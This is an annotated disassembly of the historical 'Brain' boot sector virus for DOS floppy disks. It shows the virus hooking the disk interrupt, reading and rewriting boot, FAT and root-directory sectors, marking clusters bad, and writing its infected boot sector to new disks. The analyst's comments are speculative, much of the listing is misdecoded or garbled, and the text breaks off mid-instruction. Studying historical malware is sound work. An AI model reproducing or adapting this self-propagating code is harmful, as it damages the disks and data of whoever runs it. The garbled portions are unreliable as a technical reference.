;The "Pakistani Brain" ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; CODE SEGMENT PUBLIC 'CODE' ; ASSUME CS:CODE,DS:CODE,ES:CODE,SS:NOTHING ; ORG 0 ; ; BPB EQU 3+8 ;JMP + OEM_NAME ; ;-----------------------------------------------------------------------; ; COPY OF BOOT SECTOR ; ;-----------------------------------------------------------------------; ; DB 6 DUP (?) ; ; L0006 DB ? ;HEAD L0007 DB ? ;SECTOR L0008 DB ? ;TRACK ; L0009 DB ? ;HEAD L000A DB ? ;SECTOR L000B DB ? ;TRACK ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; ; ORG 512 ; ; ;-----------------------------------------------------------------------; ; (BOOT SECTOR TYPE FORMAT!) ; ;-----------------------------------------------------------------------; CONTINUE: JMP CONTINUE_2 ;023C ; L0203 DB 'IBM X3.2' ;OEM NAME AND VERSION ; DW 512 ;BYTES PER SECTOR DB 2 ;SECTORS PER ALLOCATION UNIT DW 1 ;RESERVED SECTORS L0210 DB 2 ;NUMBER OF FATS DW 112 ;NUMBER OF ROOT DIR ENTRIES DW 2D0H ;SECTORS PER DISK DB 0FDH ;MEDIA ID DW 2 ;SECTORS PER FAT DW 9 ;SECTORS PER TRACK DW 2 ;NUMBER OF HEADS DW 0 ;HIDDEN SECTORS ; ;---------------------------------------; DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 DB 2 DISK_PARM DB 0DFH,2,25H,2,12H,2AH,0FFH,50H,0F6H,0,2 ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; REBOOT: INT 19H ;REBOOT ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; CONTINUE_2: ; CLI ; XOR AX,AX ; MOV ES,AX ;ES=0 MOV SS,AX ;SS:SP = 0000:7C00 MOV SP,7C00H ; MOV DS,AX ; MOV BX,07C0H ;INITIALIZE DISK POINTER (INT 1E) MOV Word Ptr [78H],2FH ;0000:0078 = (DWORD) 07C0:002F MOV [7AH],BX ; ; MOV DS,BX ;DS = 07C0 MOV DX,[1EH] ;GET DRIVE/HEAD ;BOOT:001E ! MOV [20H],DL ;SAVE DRIVE ;BOOT:0020 ! INT 13H ;RESET JNB C_10 ; JMP ERROR_2 ;IF ERROR...'BOOT FAILURE' ; C_10: MOV SI,BPB ;SI = BPB ;BOOT:000B MOV CX,[SI] ;CX = BYTES PER SECTOR SHR CH,1 ;WORDS PER SECTOR XCHG CH,CL ; MOV [2BH],CX ;SAVE ;BOOT:002B MOV AL,[SI+5] ;AL= NUMBER OF FATS ;BOOT:0010 XOR AH,AH ; MUL Word Ptr [SI+0BH] ;TOTAL FAT SECTORS ;BOOT:0016 ADD AX,[SI+3] ;+RESERVED SECTORS ;BOOT:000E ADD AX,[SI+11H] ;+HIDDEN SECTORS ;BOOT:001C MOV [24H],AX ;SAVE IT ;BOOT:0024 MOV BX,7E00H ; CALL UI ; ; MOV BX,ES ;SAVE ES MOV AX,70H ;ES=0070H MOV ES,AX ; MOV AX,32 ;32* MUL Word Ptr [SI+6] ; ROOT DIR ENTRIES+ MOV CX,[SI] ; ADD AX,CX ; BYTES/SECTOR DEC AX ; -1 DIV CX ; /BYTES/SECTOR ADD [24H],AX ;ADD TO BYTES IN BOOT & FAT ; MOV CL,[2AH] ; MOV AX,[24H] ; CALL READ_CLUSTER ;(READ BOOT SECTOR ???) ; PUSH ES ; POP DS ; JMP 0070H:0000H ;(PASS CONTROL TO ???) ; ;-----------------------------------------------------------------------; ; HEAVY CRUNCHING HERE (CLUSTER READS ?!?!?!) ; ; ON ENTRY: AX = ? ; ES:BX = DTA ; ; CL = ? ; ; DS:SI = BPB ; ; DS:[0021] = ; ;-----------------------------------------------------------------------; READ_CLUSTER: ;02B3 PUSH BX ; PUSH AX ; ; MOV AL,CL ; MUL Byte Ptr [2BH] ; MOV [29H],AL ; POP AX ; MUL Word Ptr [2BH] ; DIV Word Ptr [SI+0DH] ;(BPB.SECTORS PER TRACK) INC DL ; MOV [28H],DL ; PUSH DX ; XOR DX,DX ; DIV Word Ptr [SI+0FH] ;(BPB.NUMBER OF HEADS) MOV [21H],DL ; MOV [26H],AX ; POP DX ; RC_10: MOV CL,[29H] ; ADD DL,CL ; MOV AX,[SI+0DH] ;(BPB.SECTORS PER TRACK) INC AX ; CMP DL,AL ; JBE RC_20 ; SUB AL,[28H] ; MOV CL,AL ; RC_20: MOV AL,CL ; MOV DX,[26H] ; MOV CL,6 ; SHL DH,CL ; OR DH,[28H] ; MOV CX,DX ; XCHG CH,CL ; MOV DX,[20H] ; ; MOV AH,2 ;READ SECTOR PUSH AX ; INT 13H ; POP AX ; JB ERROR_2 ;IF ERROR...'BOOT FAILURE' SUB [29H],AL ; JBE RC_90 ; CBW ; MUL Word Ptr [2DH] ; ADD BX,AX ; INC Byte Ptr [21H] ; MOV DL,[21H] ; CMP DL,[SI+0FH] ; MOV DL,1 ; MOV [28H],DL ; JB RC_10 ; MOV Byte Ptr [21H],0 ; INC Word Ptr [26H] ; JMP RC_10 ; ; RC_90: POP BX ; RET ; ; ;-----------------------------------------------------------------------; ; PRINT BOOT ERROR MESSAGE AND WAIT FOR A KEY ; ;-----------------------------------------------------------------------; ERROR_1: ;0339 MOV SI,01B3H ;'Non-System disk' JMP E_10 ; ; ;---------------------------------------; ERROR_2: ; MOV SI,01C5H ;'BOOT failure' E_10: CALL DISPLAY_STRING ; ; MOV SI,01D4H ;'Replace and press any key when ready' CALL DISPLAY_STRING ; ; MOV AH,0 ;WAIT FOR A KEY INT 16H ; E_20: MOV AH,1 ; THROW IT AWAY AND INT 16H ; WAIT FOR ANOTHER ONE BUT JNZ E_20 ; DONT GET IT JMP REBOOT ; ; ;-----------------------------------------------------------------------; ; DISPLAY ASCIIZ STRING ; ; ON ENTRY: DS:SI = ASCIIZ STRING ; ;-----------------------------------------------------------------------; DISPLAY_STRING: ;0357 DS_00: LODSB ;DISPLAY UNTIL NULL OR AL,AL ; JZ DS_90 ; MOV AH,0EH ; MOV BX,7 ; INT 10 ; JMP DS_00 ; DS_90: RET ;0365 ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; UI: ;0366: MOV CL,01 ; CALL READ_CLUSTER ; ; PUSH SI ; MOV DI,BX ; MOV AX,ES:[BX+1C] ; XOR DX,DX ; DIV Word Ptr [SI] ; INC AL ; MOV [002A],AL ; MOV SI,019D ; MOV CX,000B ; REPZ ; CMPSB ; JNZ ERROR_1 ;'NON SYSTEM DISK' MOV AX,ES:[BX+3A] ; MOV [0022],AX ; MOV DI,BX ; ADD DI,+20 ; MOV SI,01A8 ; MOV CX,000B ; REPZ ; CMPSB ; JNZ ERROR_1 ;'NON SYSTEM DISK' POP SI ; RET ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; L039D DB 'IBMBIO COM' DB 'IBMDOS COM' DB CR,LF,'Non-System disk',0 DB CR,LF,'BOOT failure',0 DB CR,LF,'Replace and press any key when ready',0 DB 90H,90H,90H,55H,0AAH ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; L0400: JMP SHORT CONT_A ; ; DB '(c) 1986 Basit & Amjads (pvt) Ltd ',0 ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; CONT_A: ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; L0A5B DB 'IBMBIO COM' DB 'IBMDOS COM' DB CR,LF,'Non-System disk',0 DB CR,LF,'BOOT failure',0 DB CR,LF,'Replace and press any key when ready',0 DB 90H,90H,90H,55H,0AAH ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; ADD AL,00 ;0425 0400 ADD [06C6],CH ;0427 002EC606 AND AX,1F02 ;042B 25021F ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; REDIRECT_13: ;042E XOR AX,AX ;GET INT 13 VECTOR MOV DS,AX ; MOV AX,[004CH] ; MOV [01B4H],AX ; (SAVE IT TO INT 6D VECTOR) MOV AX,[004EH] ; MOV [01B6H],AX ; MOV AX,0276H ;SET INT 13 VECTOR MOV [004CH],AX ; MOV AX,CS ; MOV [004EH],AX ; ; MOV CX,0004 ;RETRY = 4 XOR AX,AX ; MOV ES,AX ; L0450: PUSH CX ; MOV DH,CS:[0006] ;DH = HEAD MOV DL,00 ;DRIVE A: MOV CX,CS:[0007] ;CX = TRACK/SECTOR MOV AX,0201 ;READ 1 SECTOR MOV BX,7C00 ;ES:BX == DTA = 0000:7C00 INT 6DH ; JNB L0470 ; MOV AH,00 ;RESET INT 6DH ; POP CX ;TRY AGAIN LOOP L0450 ; INT 18H ;LOAD BASIC ; L0470: JMP 0000:7C00 ;JUMP TO BOOT LOADER ?!?! ; NOP ;0475 90 STI ;0476 FB CMP AH,02 ;0477 80FC02 JNZ L0494 ;047A 7518 CMP DL,02 ;047C 80FA02 JA L0494 ;047F 7713 CMP CH,00 ;0481 80FD00 JNZ L048B ;0484 7505 CMP DH,00 ;0486 80FE00 JZ L0497 ;0489 740C L048B: DEC Byte Ptr CS:[0225] ;048B 2EFE0E2502 JNZ L0494 ;0490 7502 JMP L0497 ;0492 EB03 L0494: JMP L053C ;0494 E9A500 L0497: MOV Byte Ptr CS:[0227],00 ;0497 2EC606270200 MOV Byte Ptr CS:[0225],04 ;049D 2EC606250204 PUSH AX ;04A3 50 PUSH BX ;04A4 53 PUSH CX ;04A5 51 PUSH DX ;04A6 52 MOV CS:[0226],DL ;04A7 2E88162602 MOV CX,0004 ;04AC B90400 PUSH CX ;04AF 51 MOV AH,00 ;04B0 B400 INT 6D ;04B2 CD6D JB ;04CB ;04B4 7215 MOV DH,00 ;04B6 B600 MOV CX,0001 ;04B8 B90100 MOV BX,06BE ;04BB BBBE06 PUSH ES ;04BE 06 MOV AX,CS ;04BF 8CC8 MOV ES,AX ;04C1 8EC0 MOV AX,0201 ;04C3 B80102 INT 6D ;04C6 CD6D POP ES ;04C8 07 JNB ;04D1 ;04C9 7306 POP CX ;04CB 59 LOOP ;04AF ;04CC E2E1 JMP ;04FF ;04CE EB2F NOP ;04D0 90 POP CX ;04D1 59 MOV AX,CS:[06C2] ;04D2 2EA1C206 CMP AX,1234 ;04D6 3D3412 JNZ ;04E3 ;04D9 7508 MOV Byte Ptr CS:[0227],01 ;04DB 2EC606270201 JMP ;0503 ;04E1 EB20 PUSH DS ;04E3 1E PUSH ES ;04E4 06 MOV AX,CS ;04E5 8CC8 MOV DS,AX ;04E7 8ED8 MOV ES,AX ;04E9 8EC0 PUSH SI ;04EB 56 CALL L0804 ;04EC E81503 JB ;04FA ;04EF 7209 MOV Byte Ptr CS:[0227],02 ;04F1 2EC606270202 CALL L06B2 ;04F7 E8B801 POP SI ;04FA 5E POP ES ;04FB 07 POP DS ;04FC 1F JNB ;0503 ;04FD 7304 MOV AH,00 ;04FF B400 INT 6D ;0501 CD6D POP DX ;0503 5A POP CX ;0504 59 POP BX ;0505 5B POP AX ;0506 58 CMP CX,+01 ;0507 83F901 JNZ L053C ;050A 7530 CMP DH,00 ;050C 80FE00 JNZ L053C ;050F 752B CMP Byte Ptr CS:[0227],01 ;0511 2E803E270201 JNZ ;052A ;0517 7511 MOV CX,CS:[06C5] ;0519 2E8B0EC506 MOV DX,CS:[06C3] ;051E 2E8B16C306 MOV DL,CS:[0226] ;0523 2E8A162602 JMP L053C ;0528 EB12 CMP Byte Ptr CS:[0227],02 ;052A 2E803E270202 JNZ L053C ;0530 750A ; MOV CX,CS:[0007] ;CX = TRACK/SECTOR MOV DH,CS:[0006] ;DH = HEAD L053C: INT 6DH ; RETF 2 ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; L0541 DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; L0550: JMP CONTINUE_3 ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; L0553 DW 3 ; DB ' (c) 1986 Basit & Amjads (pvt) Ltd' ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; CONTINUE_3: ;0577 CALL READ_VERIFY ;READ VERIFY MOV AX,[06BEH] ;IF ??? == DOUBLD SIDED 9 SECTORS... CMP AX,0FFFDH ; JE L0586 ;...CONTINUE MOV AL,3 ;ELSE RETURN ??? ERROR STC ; RET ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; L0586: ;0586 MOV CX,0037 ; MOV Word Ptr [0353],0000 ; CALL ;05F8 ;058F E86600 CMP AX,0000 ;0592 3D0000 JNZ ;05A5 ;0595 750E INC Word Ptr [0353] ;0597 FF065303 CMP Word Ptr [0353],+03 ;059B 833E530303 JNZ ;05AB ;05A0 7509 JMP ;05B6 ;05A2 EB12 NOP ;05A4 90 MOV Word Ptr [0353],0000 ;05A5 C70653030000 INC CX ;05AB 41 CMP CX,0163 ;05AC 81F96301 JNZ ;058F ;05B0 75DD MOV AL,01 ;05B2 B001 STC ;05B4 F9 RET ;05B5 C3 ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; MOV DL,03 ;05B6 B203 CALL ;05CB ;05B8 E81000 DEC CX ;05BB 49 DEC DL ;05BC FECA JNZ ;05B8 ;05BE 75F8 INC CX ;05C0 41 CALL CONVERT_1 ;CLUSTER TO TRACK/SECTOR/HEAD CALL ;062D ;05C4 E86600 MOV AL,00 ;05C7 B000 CLC ;05C9 F8 RET ;05CA C3 ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; PUSH CX ;05CB 51 PUSH DX ;05CC 52 MOV SI,06BE ;05CD BEBE06 MOV AL,CL ;05D0 8AC1 SHR AL,1 ;05D2 D0E8 JB ;05E4 ;05D4 720E CALL FUNCTION_1 ;BX = (CX*3)/2 MOV AX,[BX+SI] ;05D9 8B00 AND AX,F000 ;05DB 2500F0 OR AX,0FF7 ;05DE 0DF70F JMP ;05EF ;05E1 EB0C NOP ;05E3 90 CALL FUNCTION_1 ;BX = (CX*3)/2 MOV AX,[BX+SI] ;05E7 8B00 AND AX,000F ;05E9 250F00 OR AX,FF70 ;05EC 0D70FF MOV [BX+SI],AX ;05EF 8900 MOV [BX+SI+0400],AX ;05F1 89800004 POP DX ;05F5 5A POP CX ;05F6 59 RET ;05F7 C3 ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; PUSH CX ;05F8 51 MOV SI,06BE ;05F9 BEBE06 MOV AL,CL ;05FC 8AC1 SHR AL,1 ;05FE D0E8 JB L060D ;0600 720B CALL FUNCTION_1 ;BX = (CX*3)/2 MOV AX,[BX+SI] ;0605 8B00 AND AX,0FFF ;0607 25FF0F JMP L0619 ;060A EB0D ; L060D: CALL FUNCTION_1 ;BX = (CX*3)/2 MOV AX,[BX+SI] ;0610 8B00 AND AX,FFF0 ;0612 25F0FF MOV CL,04 ;0615 B104 SHR AX,CL ;0617 D3E8 L0619: POP CX ;0619 59 RET ;061A C3 ; ;-----------------------------------------------------------------------; ; BX = (CX*3)/2 ; ;-----------------------------------------------------------------------; FUNCTION_1: ;061B PUSH DX ; MOV AX,3 ; MUL CX ; SHR AX,1 ; MOV BX,AX ; POP DX ; RET ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; READ_VERIFY: ;0627 MOV AH,2 ; CALL VERIFY_SECTORS ; RET ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; WRITE_VERIFY: ;062D MOV AH,03 ; CALL VERIFY_SECTORS ; RET ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; VERIFY_SECTORS: ;0633 MOV CX,4 ;RETRY = 4 L0636: PUSH CX ; PUSH AX ; MOV AH,0 ;REST INT 6DH ; POP AX ; JB L0653 ; MOV BX,offset L06BEH ; MOV AL,4 ;4==VERIFY MOV DH,00 ;HEAD 0 MOV DL,[0226] ;DRIVE DL MOV CX,0002 ;TRACK 0/SECTOR 2 PUSH AX ; INT 6DH ; POP AX ; JNB L065C ;IF ERROR...EXIT L0653: POP CX ; LOOP L0636 ;RETRY POP AX ; POP AX ; MOV AL,2 ;BAD ADDRESS MARK ??? STC ;RETURN ERROR RET ; ; L065C: POP CX ; RET ; ; ;-----------------------------------------------------------------------; ; CONVERT CLUSTERS TO TRACK/SECTOR/HEAD ???? ; ;-----------------------------------------------------------------------; CONVERT_1: ;065E PUSH CX ; SUB CX,2 ; SHL CX,1 ;WORD PTR ADD CX,9*2 ; (SECTORS PER CYLINDER ???) MOV AX,CX ; MOV CL,9*2 ; (SECTORS PER CYLINDER ???) DIV CL ; MOV DS:[0008],AL ;AL = TRACK MOV Byte Ptr DS:[0006],0 ;INC. HEAD INC AH ;INC. SECTOR CMP AH,9 ;IF TOO BIG... JBE L0684 ; SUB AH,9 ;...START AT ZERO MOV Byte Ptr DS:[0006],1 ;INC. HEAD L0684: MOV DS:[0007],AH ; POP CX ; RET ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; ADD [BX+SI],AL ;068A 0000 ADD [BX+SI],AL ;068C 0000 ADD [BX+SI],AL ;068E 0000 ADD BP,[SI+00] ;0690 036C00 ADD AX,[BP+DI] ;0693 0303 MOV SI,010E ;0695 BE0E01 ADD [BX+SI],AL ;0698 0000 ADD AX,SP ;069A 01E0 FCOMP DWord Ptr [DI+E0D7] ;069C D89DD7E0 LAHF ;06A0 9F LEA BX,[BX+SI+8E9F] ;06A1 8D989F8E LOOPNZ ;06C7 ;06A5 E020 SUB [BP+DI+29],AH ;06A7 286329 AND [BP+SI+72],AL ;06AA 204272 POPA ;06AD 61 IMUL BP,[BP+20],E824 ;06AE 696E2024E8 FILD DWord Ptr [BX+SI] ;06B3 DB00 JB L06C1 ;06B5 720A PUSH DI ;06B7 57 CALL ;06DA ;06B8 E81F00 POP DI ;06BB 5F JB L06C1 ;06BC 7203 CALL WRITE_RBF ;WRITE ROOT BOOT FAT L06C1: RET ;06C1 C3 ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; MOV BX,049B ;06C2 BB9B04 MOV CX,000B ; L06C8: MOV AL,[BX] ; NEG AL ; MOV [SI],AL ; INC SI ; INC BX ; LOOP L06C8 ; ; MOV AL,08 ; MOV [SI],AL ; CLC ; RET ;06D7 C3 ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; MOV Byte Ptr [06C7],91 ;06D8 C606C70691 ADD AL,6C ;06DD 046C ADD [BP+06FE],BH ;06DF 00BEFE06 MOV [0493],DX ;06E3 89169304 MOV AX,[0491] ;06E7 A19104 SHR AX,1 ;06EA D1E8 MOV [0497],AX ;06EC A39704 SHR AX,1 ;06EF D1E8 MOV [0495],AX ;06F1 A39504 XCHG AX,CX ;06F4 91 AND CL,43 ;06F5 80E143 MOV DI,[0495] ;06F8 8B3E9504 ADD DI,01E3 ;06FC 81C7E301 MOV AL,[SI] ;0700 8A04 CMP AL,00 ;0702 3C00 JZ ;071B ;0704 7415 MOV AL,[SI+0B] ;0706 8A440B AND AL,08 ;0709 2408 CMP AL,08 ;070B 3C08 JZ ;071B ;070D 740C ADD SI,+20 ;070F 83C620 DEC Word Ptr [0491] ;0712 FF0E9104 JNZ ;0700 ;0716 75E8 STC ;0718 F9 RET ;0719 C3 ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; : ;071A MOV CX,[BP+DI+331D] ; PUSH DS ;071E 1E XCHG AX,DI ;071F 97 ADD AL,89 ;0720 0489 XCHG AX,DI ;0722 3697 ADD AL,FA ;0724 04FA MOV AX,SS ;0726 8CD0 MOV SS:[0493],AX ;0728 A39304 MOV [0495],SP ;072B 89269504 MOV AX,CS ;072F 8CC8 MOV SS,AX ;0731 8ED0 MOV SP,[0497] ;0733 8B269704 ADD SP,+0C ;0737 83C40C MOV CL,51 ;073A B151 ADD DX,444C ;073C 81C24C44 MOV DI,2555 ;0740 BF5525 MOV CX,0C03 ;0743 B9030C REPZ ;0746 F3 CMPSW ;0747 A7 MOV AX,0B46 ;0748 B8460B MOV CX,0003 ;074B B90300 ROL AX,CL ;074E D3C0 MOV [0497],AX ;0750 A39704 MOV CX,0005 ;0753 B90500 MOV DX,0008 ;0756 BA0800 SUB Word Ptr [0497],5210 ;0759 812E97041052 PUSH [0497] ;075F FF369704 L0763: MOV AH,[BX] ;0763 8A27 INC BX ;0765 43 MOV DL,AH ;0766 8AD4 SHL DL,1 ;0768 D0E2 JB L0763 ;076A 72F7 L076C: MOV DL,[BX] ;076C 8A17 INC BX ;076E 43 MOV AL,DL ;076F 8AC2 SHL DL,1 ;0771 D0E2 JB L076C ;0773 72F7 ADD AX,1D1D ;0775 051D1D PUSH AX ;0778 50 INC Word Ptr [0497] ;0779 FF069704 JNB L0780 ;077D 7301 JMP 268B:E1E2 ;077F EAE2E18B26 ; XCHG AX,BP ;0784 95 ADD AL,A1 ;0785 04A1 XCHG AX,BX ;0787 93 ADD AL,8E ;0788 048E SAR BL,1 ;078A D0FB ADD DH,[BP+SI] ;078C 0232 CLC ;078E F8 RET ;078F C3 ; ;-----------------------------------------------------------------------; ; READ ROOT, BOOT, FIRST FAT ; ;-----------------------------------------------------------------------; READ_RBF: ;0790 MOV Byte Ptr [0490],02 ;COMMAND = READ JMP ROOT_BOOT_FAT ;DO IT ; ;-----------------------------------------------------------------------; ; WRITE ROOT, BOOT, FIRST FAT ; ;-----------------------------------------------------------------------; WRITE_RBF: ;0798 MOV Byte Ptr [0490],03 ;COMMAND = WRITE JMP ROOT_BOOT_FAT ;DO IT ; ;-----------------------------------------------------------------------; ; READ OR WRITE ROOT, BOOT, FIRST FAT ; ;-----------------------------------------------------------------------; ROOT_BOOT_FAT: ;07A0 MOV DH,0 ;HEAD = 0 MOV DL,[226H] ;DL = DRIVE MOV CX,6 ;(TRACK 0/SECTOR 6) == ENTIRE ROOT DIR MOV AH,[490H] ;AH = COMMAND MOV AL,4 ;4 SECTORS MOV BX,6BEH ;ES:BX = DTA CALL RESET_DO_IT ;GO TO DISK JB L07C9 ;IF ERROR...EXIT ; MOV CX,1 ;(TRACK 0/SECTOR 1) == BOOT & FAT1 MOV DH,1 ;HEAD 1 MOV AH,[490H] ;AH = COMMAND MOV AL,3 ;3 SECTORS ADD BX,800H ;ES:BX = DTA CALL RESET_DO_IT ;GO TO DISK L07C9: RET ; ; ;-----------------------------------------------------------------------; ; RESET DRIVE BEFORE DOING SPECIFIED FUNCTION ; ;-----------------------------------------------------------------------; RESET_DO_IT: ;07CA MOV [0493],AX ; MOV [0495],BX ;SAVE REGs MOV [0497],CX ; MOV [0499],DX ; MOV CX,0004 ;RETRY COUNT = 4 ; RDI_10: PUSH CX ; MOV AH,00 ;REST DRIVE INT 6D ; JB RDI_80 ;IF ERROR...RETRY MOV AX,[0493] ;RESTORE REGs MOV BX,[0495] ; MOV CX,[0497] ; MOV DX,[0499] ; INT 6D ;DO SPECIFIED FUNCTION JNB RDI_90 ;IF NO ERROR...EXIT RDI_80: POP CX ; LOOP RDI_10 ;RETRY STC ;RETURN ERROR RET ; ; RDI_90: POP CX ;RETURN NO ERROR RET ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; ADD [BX+SI],AL ;07FD 0000 ADD [BP+DI],AL ;07FF 0003 ADD [BX+DI],AL ;0801 0001 L0804: ?!?! ADD BP,AX ;0803 03E8 DEC CX ;0805 49 STD ;0806 FD JB ;085D ;0807 7254 ; MOV Word Ptr [000A],0001 ; MOV Byte Ptr [0009],00 ; MOV BX,06BE ;ES:BX = DTA ? CALL READ_SECTORS ; ; MOV BX,06BE ;BX = DTA MOV AX,[0007] ;GET SECTOR TRACK MOV [000A],AX ;SAVE SECTOR/TRACK MOV AH,[0006] ;GET HEAD MOV [0009],AH ;SAVE HEAD CALL WRITE_SECTORS ;WRITE SECTOR(S) CALL NEXT_SECTOR ;POINT TO NEXT ; MOV CX,0005 ;CX = ??? MOV BX,0200 ;BX = DTA L0837: MOV [0600],CX ;SAVE ??? CALL WRITE_SECTORS ;WRITE SECTOR(S) CALL NEXT_SECTOR ;POINT TO NEXT ADD BX,512 ;DTA += 512 MOV CX,[0600] ;??? LOOP L0837 ;LOOP 5 TIMES ??? ; MOV Byte Ptr [0009],00 ;HEAD = 0 MOV Word Ptr [000A],0001 ;TRACK/SECTOR = 0/1 MOV BX,0000 ;DTA = INFECTED BOOT SECTOR CALL WRITE_SECTORS ;WRITE INFECTED BOOT SECTOR CLC ; RET ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; READ_SECTORS: ;085E MOV Word Ptr [0602H],0201H ;READ CMD/1 SECTOR JMP DO_SECTORS ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; WRITE_SECTORS: ;0867 MOV Word Ptr [0602H],0301H ;WRITE CMD/1 SECTOR JMP DO_SECTORS ; ; ;-----------------------------------------------------------------------; ; READ OR WRITE SOME SECTORS WITH A RETRY COUNT OF 4 ; ; ; ; ON ENTRY: DS:[601H] = COMMAND ; ; DS:[602H] = SECTOR COUNT ; ; DS:[226H] = DRIVE ; ; DS:[0009] = HEAD ; ; DS:[000A] = SECTOR ; ; DS:[000B] = TRACK ; ;-----------------------------------------------------------------------; DO_SECTORS: ;0870 PUSH BX ; MOV CX,4 ;RETRY COUNT = 4 ; D1S_10: PUSH CX ; MOV DH,[9] ;HEAD = 9 MOV DL,[226H] ;DRIVE MOV CX,[10] ;TRACK/SECT MOV AX,[602H] ;COMMAND/COUNT INT 6DH ;(SAME AS INT 13) JNB D1S_80 ; ; MOV AH,00 ;RESET INT 6DH ;(SAME AS INT 13) POP CX ; LOOP D1S_10 ;TRY AGAIN POP BX ; POP BX ; STC ;RETURN ERROR RET ; ; D1S_80: POP CX ;0893 59 POP BX ;0894 5B RET ;0895 C3 ; ;-----------------------------------------------------------------------; ; INC. NEXT SECTOR ; ; ON ENTRY: DS:[0009] = HEAD ; ; DS:[000A] = SECTOR ; ; DS:[000B] = TRACK ; ;-----------------------------------------------------------------------; NEXT_SECTOR: ;0896 INC Byte Ptr [10] ;SECTOR CMP Byte Ptr [10],10 ; JNZ NS_90 ; MOV Byte Ptr [10],1 ; INC Byte Ptr [9] ;HEAD CMP Byte Ptr [9],2 ; JNZ NS_90 ; MOV Byte Ptr [9],0 ; INC Byte Ptr [11] ;TRACK NS_90: RET ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; DB 64 ;08BB 'dtk' JZ ;091F ; ; ;---------------------------------------; JMP CONTINUE_4 ;08FA ; DB 'IBM X3.2' ;OEM NAME AND VERSION ; DW 512 ;BYTES PER SECTOR DB 2 ;SECTORS PER ALLOCATION UNIT DW 1 ;RESERVED SECTORS DB 2 ;NUMBER OF FATS DW 112 ;NUMBER OF ROOT DIR ENTRIES DW 2D0H ;SECTORS PER DISK DB 0FDH ;MEDIA ID DW 2 ;SECTORS PER FAT DW 9 ;SECTORS PER TRACK DW 2 ;NUMBER OF HEADS DW 0 ;HIDDEN SECTORS ; ;---------------------------------------; DB 0,0 DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0 DB 002H,0DFH DB 002H,025H,002H,012H DB 02AH,0FFH,050H,0F6H DB 000H,002H, ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; INT 19H ;REBOOT ; L08FA: CLI ;08FA FA XOR AX,AX ;08FB 33C0 MOV ES,AX ;08FD 8EC0 MOV SS,AX ;08FF 8ED0 MOV SP,7C00 ;0901 BC007C MOV DS,AX ;0904 8ED8 MOV BX,07C0 ;0906 BBC007 MOV Word Ptr [0078],002F ;0909 C70678002F00 MOV [007A],BX ;090F 891E7A00 MOV DS,BX ;0913 8EDB MOV DX,[001E] ;0915 8B161E00 MOV [0020],DL ;0919 88162000 INT 13 ;GO TO DISK JNB ;0924 ;091F 7303 JMP ;09FC ;0921 E9D800 MOV SI,000B ;0924 BE0B00 MOV CX,[SI] ;0927 8B0C SHR CH,1 ;0929 D0ED XCHG CH,CL ;092B 86E9 MOV [002B],CX ;092D 890E2B00 MOV AL,[SI+05] ;0931 8A4405 XOR AH,AH ;0934 32E4 MUL Word Ptr [SI+0B] ;0936 F7640B ADD AX,[SI+03] ;0939 034403 ADD AX,[SI+11] ;093C 034411 MOV [0024],AX ;093F A32400 MOV BX,7E00 ;0942 BB007E CALL 0A24 ;0945 E8DC00 MOV BX,ES ;0948 8CC3 MOV AX,0070 ;094A B87000 MOV ES,AX ;094D 8EC0 MOV AX,0020 ;094F B82000 MUL Word Ptr [SI+06] ;0952 F76406 MOV CX,[SI] ;0955 8B0C ADD AX,CX ;0957 03C1 DEC AX ;0959 48 DIV CX ;095A F7F1 ADD [0024],AX ;095C 01062400 MOV CL,[002A] ;0960 8A0E2A00 MOV AX,[0024] ;0964 A12400 CALL ;0971 ;0967 E80700 PUSH ES ;096A 06 POP DS ;096B 1F JMP 0070:0000 ;096C EA00007000 ; ;HEAVY NUMBER CRUNCHING HERE ; PUSH BX ;0971 53 PUSH AX ;0972 50 MOV AL,CL ;0973 8AC1 MUL Byte Ptr [002B] ;0975 F6262B00 MOV [0029],AL ;0979 A22900 POP AX ;097C 58 MUL Word Ptr [002B] ;097D F7262B00 DIV Word Ptr [SI+0D] ;0981 F7740D INC DL ;0984 FEC2 MOV [0028],DL ;0986 88162800 PUSH DX ;098A 52 XOR DX,DX ;098B 33D2 DIV Word Ptr [SI+0F] ;098D F7740F MOV [0021],DL ;0990 88162100 MOV [0026],AX ;0994 A32600 POP DX ;0997 5A MOV CL,[0029] ;0998 8A0E2900 ADD DL,CL ;099C 02D1 MOV 